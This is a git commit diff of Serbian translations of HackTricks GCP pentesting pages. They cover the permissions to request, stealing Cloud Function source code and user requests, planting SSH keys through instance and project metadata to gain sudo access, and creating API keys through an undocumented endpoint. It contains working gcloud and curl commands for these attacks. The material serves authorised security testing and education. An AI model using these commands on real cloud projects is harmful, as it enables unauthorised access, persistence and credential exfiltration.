Translated ['src/pentesting-ci-cd/ansible-tower-awx-automation-controlle

This commit is contained in:
Translator
2025-08-01 10:14:00 +00:00
parent 35797d8db1
commit aa1a9a1d1e
47 changed files with 537 additions and 354 deletions

View File

@@ -1,13 +1,15 @@
# GCP - Dozvole za Pentest
Ako želite da radite pentest u GCP okruženju, potrebno je da zatražite dovoljno dozvola da **proverite sve ili većinu usluga** korišćenih u **GCP**. Idealno bi bilo da tražite od klijenta da kreira:
{{#include ../../banners/hacktricks-training.md}}
Ako želite da izvršite pentest u GCP okruženju, potrebno je da zatražite dovoljno dozvola da **proverite sve ili većinu usluga** korišćenih u **GCP**. Idealno bi bilo da tražite od klijenta da kreira:
* **Kreirajte** novi **projekat**
* **Kreirajte** **Service Account** unutar tog projekta (dobijte **json kredencijale**) ili kreirajte **novog korisnika**.
* **Dajte** **Service account** ili **korisniku** **uloge** koje će biti pomenute kasnije na ORGANIZACIJI
* **Omogućite** **APIs** koji će biti pomenuti kasnije u ovom postu u kreiranom projektu
* **Kreirajte** **Servisni nalog** unutar tog projekta (dobijte **json kredencijale**) ili kreirajte **novog korisnika**.
* **Dajte** **Servisnom nalogu** ili **korisniku** **uloge** pomenute kasnije na ORGANIZACIJI
* **Omogućite** **API-e** pomenute kasnije u ovom postu u kreiranom projektu
**Skup dozvola** za korišćenje alata koji će biti predloženi kasnije:
**Skup dozvola** za korišćenje alata predloženih kasnije:
```bash
roles/viewer
roles/resourcemanager.folderViewer
@@ -129,4 +131,4 @@ roles/iam.securityReviewer
roles/iam.organizationRoleViewer
roles/bigquery.metadataViewer
```
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1 +1,3 @@
# GCP - Persistencija
# GCP - Održavanje
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1 +1,3 @@
# GCP - Post Eksploatacija
# GCP - Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -12,14 +12,14 @@ Pronađite informacije o Cloud Functions u:
### `cloudfunctions.functions.sourceCodeGet`
Sa ovom dozvolom možete dobiti **potpisanu URL adresu za preuzimanje izvornog koda** Cloud Function-a:
Sa ovom dozvolom možete dobiti **potpisanu URL adresu za preuzimanje izvornog koda** Cloud Function:
```bash
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'
```
### Ukradi Cloud Function Zahteve
### Steal Cloud Function Requests
Ako Cloud Function upravlja osetljivim informacijama koje korisnici šalju (npr. lozinke ili tokeni), sa dovoljno privilegija mogli biste **modifikovati izvorni kod funkcije i exfiltrirati** ove informacije.
@@ -98,7 +98,7 @@ return "/tmp/function.py doesn't exists"
# Get relevant function names
handler_fname = os.environ.get("FUNCTION_TARGET") # Cloud Function env variable indicating the name of the function to habdle requests
source_path = os.environ.get("FUNCTION_SOURCE", "./main.py") # Path to the source file of the Cloud Function (./main.py by default)
source_path = os.environ.get("FUNCTION_SOURCE", "./main.py") # Path to the source file of the Cloud Function (main.py by default)
realpath = os.path.realpath(source_path) # Get full path
# Get the modules representations
@@ -122,4 +122,4 @@ return "Injection completed!"
except Exception as e:
return str(e)
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,20 +1,18 @@
# GCP - Dodavanje prilagođenih SSH metapodataka
## GCP - Dodavanje prilagođenih SSH metapodataka
{{#include ../../../../banners/hacktricks-training.md}}
### Modifikacija metapodataka <a href="#modifying-the-metadata" id="modifying-the-metadata"></a>
## Modifikacija metapodataka <a href="#modifying-the-metadata" id="modifying-the-metadata"></a>
Modifikacija metapodataka na instanci može dovesti do **značajnih bezbednosnih rizika ako napadač dobije potrebne dozvole**.
#### **Uključivanje SSH ključeva u prilagođene metapodatke**
### **Uključivanje SSH ključeva u prilagođene metapodatke**
Na GCP-u, **Linux sistemi** često izvršavaju skripte iz [Python Linux Guest Environment for Google Compute Engine](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts). Kritična komponenta ovoga je [accounts daemon](https://github.com/GoogleCloudPlatform/compute-image-packages/tree/master/packages/python-google-compute-engine#accounts), koji je dizajniran da **redovno proverava** krajnju tačku metapodataka instance za **ažuriranja autorizovanih SSH javnih ključeva**.
Stoga, ako napadač može da modifikuje prilagođene metapodatke, mogao bi da natera daemon da pronađe novi javni ključ, koji će biti obrađen i **integrisan u lokalni sistem**. Ključ će biti dodat u `~/.ssh/authorized_keys` datoteku **postojećeg korisnika ili potencijalno kreirati novog korisnika sa `sudo` privilegijama**, u zavisnosti od formata ključa. I napadač će moći da kompromituje host.
#### **Dodavanje SSH ključa postojećem privilegovanom korisniku**
### **Dodavanje SSH ključa postojećem privilegovanom korisniku**
1. **Istražite postojeće SSH ključeve na instanci:**
@@ -27,7 +25,7 @@ gcloud compute instances describe [INSTANCE] --zone [ZONE]
- Obratite pažnju na format SSH ključeva: korisničko ime prethodi ključevi, odvojeni dvotačkom.
2. **Pripremite tekstualnu datoteku za SSH ključ metapodatke:**
- Sačuvajte detalje korisničkih imena i njihovih odgovarajućih SSH ključeva u tekstualnu datoteku pod imenom `meta.txt`. Ovo je neophodno za očuvanje postojećih ključeva dok dodajete nove.
- Sačuvajte detalje korisničkih imena i njihovih odgovarajućih SSH ključeva u tekstualnu datoteku nazvanu `meta.txt`. Ovo je neophodno za očuvanje postojećih ključeva dok dodajete nove.
3. **Generišite novi SSH ključ za ciljanog korisnika (`alice` u ovom primeru):**
- Koristite komandu `ssh-keygen` da generišete novi SSH ključ, osiguravajući da polje komentara (`-C`) odgovara ciljanom korisničkom imenu.
@@ -55,7 +53,7 @@ ssh -i ./key alice@localhost
sudo id
```
#### **Kreirajte novog privilegovanog korisnika i dodajte SSH ključ**
### **Kreirajte novog privilegovanog korisnika i dodajte SSH ključ**
Ako nijedan zanimljiv korisnik nije pronađen, moguće je kreirati novog koji će dobiti `sudo` privilegije:
```bash
@@ -75,7 +73,7 @@ gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-k
# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost
```
#### SSH ključevi na nivou projekta <a href="#sshing-around" id="sshing-around"></a>
### SSH ključevi na nivou projekta <a href="#sshing-around" id="sshing-around"></a>
Moguće je proširiti domet SSH pristupa na više Virtuelnih Mašina (VM) u cloud okruženju primenom **SSH ključeva na nivou projekta**. Ovaj pristup omogućava SSH pristup bilo kojoj instanci unutar projekta koja nije eksplicitno blokirala SSH ključeve na nivou projekta. Evo sažetog vodiča:
@@ -88,7 +86,7 @@ gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
```
2. **SSH u instance koristeći ključeve na nivou projekta:**
- Sa SSH ključevima na nivou projekta, možete SSH u bilo koju instancu unutar projekta. Instance koje ne blokiraju ključeve na nivou projekta će prihvatiti SSH ključ, omogućavajući pristup.
- Sa SSH ključevima na nivou projekta, možete se SSH-ovati u bilo koju instancu unutar projekta. Instance koje ne blokiraju ključeve na nivou projekta će prihvatiti SSH ključ, omogućavajući pristup.
- Direktna metoda za SSH u instancu je korišćenje komande `gcloud compute ssh [INSTANCE]`. Ova komanda koristi vaše trenutno korisničko ime i SSH ključeve postavljene na nivou projekta da pokuša pristup.
## Reference

View File

@@ -4,9 +4,9 @@
## serviceusage
Sledeće dozvole su korisne za kreiranje i krađu API ključeva, ne zaboravite ovo iz dokumentacije: _API ključ je jednostavna enkriptovana niska koja **identifikuje aplikaciju bez ikakvog principala**. Korisni su za pristup **javnim podacima anonimno**, i koriste se za **povezivanje** API zahteva sa vašim projektom za kvote i **naplatu**._
Sledeće dozvole su korisne za kreiranje i krađu API ključeva, ne zaboravite ovo iz dokumentacije: _API ključ je jednostavna enkriptovana niska koja **identifikuje aplikaciju bez ikakvog principala**. Korisni su za pristupanje **javnim podacima anonimno**, i koriste se za **povezivanje** API zahteva sa vašim projektom za kvotu i **naplatu**._
Dakle, sa API ključem možete naterati tu kompaniju da plati za vašu upotrebu API-a, ali nećete moći da eskalirate privilegije.
Dakle, sa API ključem možete naterati tu kompaniju da plati za vaše korišćenje API-ja, ali nećete moći da eskalirate privilegije.
Da biste saznali druge dozvole i načine za generisanje API ključeva, proverite:
@@ -16,7 +16,7 @@ gcp-apikeys-privesc.md
### `serviceusage.apiKeys.create`
Pronađena je nedokumentovana API koja se može koristiti za **kreiranje API ključeva:**
Pronađen je nedokumentovani API koji se može koristiti za **kreiranje API ključeva:**
```bash
curl -XPOST "https://apikeys.clients6.google.com/v1/projects/<project-uniq-name>/apiKeys?access_token=$(gcloud auth print-access-token)"
```
@@ -28,26 +28,30 @@ curl "https://apikeys.clients6.google.com/v1/projects/<project-uniq-name>/apiKey
```
### **`serviceusage.services.enable`** , **`serviceusage.services.use`**
Sa ovim dozvolama, napadač može omogućiti i koristiti nove usluge u projektu. To bi moglo omogućiti **napadaču da omogući uslugu kao što je admin ili cloudidentity** da pokuša da pristupi informacijama iz Workspace-a, ili drugim uslugama za pristup zanimljivim podacima.
Sa ovim dozvolama napadač može omogućiti i koristiti nove usluge u projektu. To bi moglo omogućiti **napadaču da omogući uslugu kao što je admin ili cloudidentity** da pokuša da pristupi informacijama iz Workspace-a, ili drugim uslugama za pristup zanimljivim podacima.
## **Reference**
## **References**
- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
<details>
<summary><strong>Podržite HackTricks i ostvarite benefite!</strong></summary>
<summary><strong>Support HackTricks and get benefits!</strong></summary>
Da li radite u **cybersecurity kompaniji**? Da li želite da vidite vašu **kompaniju oglašenu u HackTricks**? ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF-u**? Proverite [**PLANOVE ČLANSTVA**](https://github.com/sponsors/carlospolop)!
Da li radite u **cybersecurity company**? Da li želite da vidite vašu **company advertised in HackTricks**? ili želite da imate pristup **latest version of the PEASS or download HackTricks in PDF**? Proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFTs**](https://opensea.io/collection/the-peass-family)
Dobijte [**službeni PEASS & HackTricks merch**](https://peass.creator-spring.com)
Dobijte [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
**Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** me na **Twitteru** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
**Podelite svoje hakerske trikove slanjem PR-ova na** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)\*\*\*\*
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)\*\*\*\*
**.**
</details>
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1 +1,3 @@
# GCP - Usluge
{{#include ../../../banners/hacktricks-training.md}}